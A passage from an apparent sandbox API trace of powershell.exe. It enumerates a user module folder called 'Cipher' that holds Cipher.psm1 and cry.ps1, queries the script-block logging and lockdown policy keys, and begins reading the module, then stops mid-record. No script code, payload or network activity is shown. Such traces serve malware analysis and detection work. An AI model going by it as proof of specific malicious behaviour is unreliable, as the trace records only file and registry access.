ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4)) returned 1 [0152.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ee98) returned 1 [0152.646] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0152.646] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x45 [0152.647] GetCurrentProcessId () returned 0x9ac [0152.647] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9ac) returned 0x3d8 [0152.648] EnumProcessModules (in: hProcess=0x3d8, lphModule=0x225b6b8, cb=0x100, lpcbNeeded=0x5a2f0a8 | out: lphModule=0x225b6b8, lpcbNeeded=0x5a2f0a8) returned 1 [0152.650] GetModuleInformation (in: hProcess=0x3d8, hModule=0x200000, lpmodinfo=0x225b7f8, cb=0xc | out: lpmodinfo=0x225b7f8*(lpBaseOfDll=0x200000, SizeOfImage=0x6b000, EntryPoint=0x20d330)) returned 1 [0152.650] CoTaskMemAlloc (cb=0x804) returned 0x3e9708 [0152.650] GetModuleBaseNameW (in: hProcess=0x3d8, hModule=0x200000, lpBaseName=0x3e9708, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0152.651] CoTaskMemFree (pv=0x3e9708) [0152.651] CoTaskMemAlloc (cb=0x804) returned 0x3e9708 [0152.651] GetModuleFileNameExW (in: hProcess=0x3d8, hModule=0x200000, lpFilename=0x3e9708, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0152.651] CoTaskMemFree (pv=0x3e9708) [0152.651] CloseHandle (hObject=0x3d8) returned 1 [0152.652] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0152.652] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0152.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ede0) returned 1 [0152.652] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x5a2f0a4 | out: lpFileInformation=0x5a2f0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7f9180, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8b7f9180, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x7711b3a3, ftLastWriteTime.dwHighDateTime=0x1d251bc, nFileSizeHigh=0x0, nFileSizeLow=0x68400)) returned 1 [0152.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eddc) returned 1 [0152.653] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x5a2f118 | out: lpdwHandle=0x5a2f118) returned 0x74c [0152.669] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x74c, lpData=0x225d9e8 | out: lpData=0x225d9e8) returned 1 [0152.670] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5a2f0ec, puLen=0x5a2f0e8 | out: lplpBuffer=0x5a2f0ec*=0x225dd88, puLen=0x5a2f0e8) returned 1 [0152.670] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x225daa0, puLen=0x5a2f068) returned 1 [0152.670] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x225daf4, puLen=0x5a2f068) returned 1 [0152.670] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x225db3c, puLen=0x5a2f068) returned 1 [0152.670] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x225dbb0, puLen=0x5a2f068) returned 1 [0152.670] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x225dbec, puLen=0x5a2f068) returned 1 [0152.670] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x225dc70, puLen=0x5a2f068) returned 1 [0152.670] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x225dcb8, puLen=0x5a2f068) returned 1 [0152.670] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x225dd28, puLen=0x5a2f068) returned 1 [0152.671] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x0, puLen=0x5a2f068) returned 0 [0152.671] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x0, puLen=0x5a2f068) returned 0 [0152.671] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x0, puLen=0x5a2f068) returned 0 [0152.671] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x5a2f06c, puLen=0x5a2f068 | out: lplpBuffer=0x5a2f06c*=0x0, puLen=0x5a2f068) returned 0 [0152.671] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x5a2f060, puLen=0x5a2f05c | out: lplpBuffer=0x5a2f060*=0x225dd88, puLen=0x5a2f05c) returned 1 [0152.671] VerLanguageNameW (in: wLang=0x409, szLang=0x5a2edf0, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0152.671] VerQueryValueW (in: pBlock=0x225d9e8, lpSubBlock="\\", lplpBuffer=0x5a2f070, puLen=0x5a2f06c | out: lplpBuffer=0x5a2f070*=0x225da10, puLen=0x5a2f06c) returned 1 [0153.615] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2f178 | out: lpPerformanceCount=0x5a2f178*=3247813541814) returned 1 [0153.622] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2f0b4, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.806] EtwEventActivityIdControl () returned 0x0 [0153.806] EtwEventActivityIdControl () returned 0x0 [0153.807] EtwEventActivityIdControl () returned 0x0 [0153.881] EtwEventActivityIdControl () returned 0x0 [0153.881] EtwEventActivityIdControl () returned 0x0 [0153.881] EtwEventActivityIdControl () returned 0x0 [0153.939] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2e8a8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.977] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2f120 | out: phkResult=0x5a2f120*=0x0) returned 0x2 [0153.978] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2f120 | out: phkResult=0x5a2f120*=0x0) returned 0x2 [0153.981] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5a2e878, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.993] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ecb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.122] EtwEventActivityIdControl () returned 0x0 [0154.122] EtwEventActivityIdControl () returned 0x0 [0154.122] EtwEventActivityIdControl () returned 0x0 [0154.217] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2ebec, nSize=0x80 | out: lpBuffer="") returned 0xc6 [0154.218] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2eb60, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0154.248] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0154.253] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0154.253] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x31 [0154.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9ec) returned 1 [0154.254] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\program files\\windowspowershell\\modules\\cipher"), fInfoLevelId=0x0, lpFileInformation=0x5a2ecb0 | out: lpFileInformation=0x5a2ecb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0154.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9e8) returned 1 [0154.259] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\cipher\\cipher.psd1")) returned 0xffffffff [0154.264] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0xffffffff [0154.268] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Cipher\\Cipher.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\cipher\\cipher.cdxml")) returned 0xffffffff [0154.273] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Cipher\\Cipher.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\cipher\\cipher.xaml")) returned 0xffffffff [0154.277] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Cipher\\Cipher.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\cipher\\cipher.ni.dll")) returned 0xffffffff [0154.283] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Cipher\\Cipher.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\cipher\\cipher.dll")) returned 0xffffffff [0154.287] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0154.289] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0154.289] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0154.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9ec) returned 1 [0154.289] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher"), fInfoLevelId=0x0, lpFileInformation=0x5a2ecb0 | out: lpFileInformation=0x5a2ecb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e9e8) returned 1 [0154.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecac) returned 1 [0154.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0154.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x3d [0154.293] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\*"), lpFindFileData=0x5a2ea5c | out: lpFindFileData=0x5a2ea5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4968 [0154.294] FindNextFileW (in: hFindFile=0x3b4968, lpFindFileData=0x5a2ea64 | out: lpFindFileData=0x5a2ea64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.295] FindNextFileW (in: hFindFile=0x3b4968, lpFindFileData=0x5a2ea64 | out: lpFindFileData=0x5a2ea64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher.psm1", cAlternateFileName="CIPHER~1.PSM")) returned 1 [0154.295] FindNextFileW (in: hFindFile=0x3b4968, lpFindFileData=0x5a2ea64 | out: lpFindFileData=0x5a2ea64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 1 [0154.295] FindNextFileW (in: hFindFile=0x3b4968, lpFindFileData=0x5a2ea64 | out: lpFindFileData=0x5a2ea64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4de2f20, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa546eba0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cry.ps1", cAlternateFileName="")) returned 0 [0154.295] FindClose (in: hFindFile=0x3b4968 | out: hFindFile=0x3b4968) returned 1 [0154.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea1c) returned 1 [0154.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ec7c) returned 1 [0154.302] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psd1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psd1")) returned 0xffffffff [0154.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0154.308] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0154.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0154.624] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0154.624] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e900, Length=0x20, ResultLength=0x5a2e970 | out: SystemInformation=0x5a2e900, ResultLength=0x5a2e970*=0x0) returned 0xc0000003 [0154.625] GetSystemInfo (in: lpSystemInfo=0x5a2e97c | out: lpSystemInfo=0x5a2e97c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0154.625] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e90c | out: phkResult=0x5a2e90c*=0x3ec) returned 0x0 [0154.625] RegQueryValueExW (in: hKey=0x3ec, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e928, lpData=0x0, lpcbData=0x5a2e924*=0x0 | out: lpType=0x5a2e928*=0x0, lpData=0x0, lpcbData=0x5a2e924*=0x0) returned 0x2 [0154.626] RegCloseKey (hKey=0x3ec) returned 0x0 [0154.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0154.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0154.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e6b0) returned 1 [0154.626] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x22d39d4 | out: lpFileInformation=0x22d39d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0154.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e6ac) returned 1 [0154.626] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0154.627] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0154.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e670) returned 1 [0154.627] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e934 | out: lpFileInformation=0x5a2e934*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47572a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa47572a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0154.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e66c) returned 1 [0154.627] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0154.627] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0154.627] GetEnvironmentVariableW (in: lpName="PSExecutionPolicyPreference", lpBuffer=0x5a2e730, nSize=0xc6 | out: lpBuffer="") returned 0x6 [0154.628] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0154.628] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x49 [0154.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8bc) returned 1 [0154.628] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3ec [0154.629] GetFileType (hFile=0x3ec) returned 0x1 [0154.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b8) returned 1 [0154.629] GetFileType (hFile=0x3ec) returned 0x1 [0154.629] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e8f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e8f8*=0) returned 0x0 [0154.630] ReadFile (in: hFile=0x3ec, lpBuffer=0x22d4ab0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e924, lpOverlapped=0x0 | out: lpBuffer=0x22d4ab0*, lpNumberOfBytesRead=0x5a2e924*=0x1000, lpOverlapped=0x0) returned 1 [0154.632] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e8f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e8f8*=0) returned 0x1000 [0154.632] ReadFile (in: hFile=0x3ec, lpBuffer=0x22d4ab0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e924, lpOverlapped=0x0 | out: lpBuffer=0x22d4ab0*, lpNumberOfBytesRead=0x5a2e924*=0x4ef, lpOverlapped=0x0) returned 1 [0154.632] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e8f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e8f8*=0) returned 0x14ef [0154.633] ReadFile (in: hFile=0x3ec, lpBuffer=0x22d3f3f, nNumberOfBytesToRead=0x311, lpNumberOfBytesRead=0x5a2e924, lpOverlapped=0x0 | out: lpBuffer=0x22d3f3f*, lpNumberOfBytesRead=0x5a2e924*=0x0, lpOverlapped=0x0) returned 1 [0154.633] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e8f8*=0, dwMoveMethod=0x1 | out: 